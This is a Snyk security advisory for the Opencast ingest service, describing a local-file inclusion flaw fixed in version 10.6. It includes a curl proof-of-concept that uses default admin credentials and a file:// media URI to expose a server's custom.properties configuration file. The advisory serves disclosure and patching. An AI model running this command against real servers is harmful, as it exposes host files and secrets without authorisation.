Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade org.opencastproject:opencast-ingest-service-impl
to version 10.6 or higher.
org.opencastproject:opencast-ingest-service-impl is a free and open source solution for automated video capture and distribution at scale.
Affected versions of this package are vulnerable to Information Exposure by allowing references to local file URLs in ingested media packages, which makes it possible for attackers to include local files from Opencast's host machines and making them available via the web interface.
###POC:
To expose the custom.properties
of develop.opencast.org
via the asset manager, an attacker could have run:
curl -f -i -u admin:opencast \
https://develop.opencast.org/ingest/addMediaPackage/fast \
-F 'flavor=presenter/source'\
-F mediaUri=file:///srv/opencast/opencast-dist-allinone/etc/custom.properties\
-F title="custom.properties"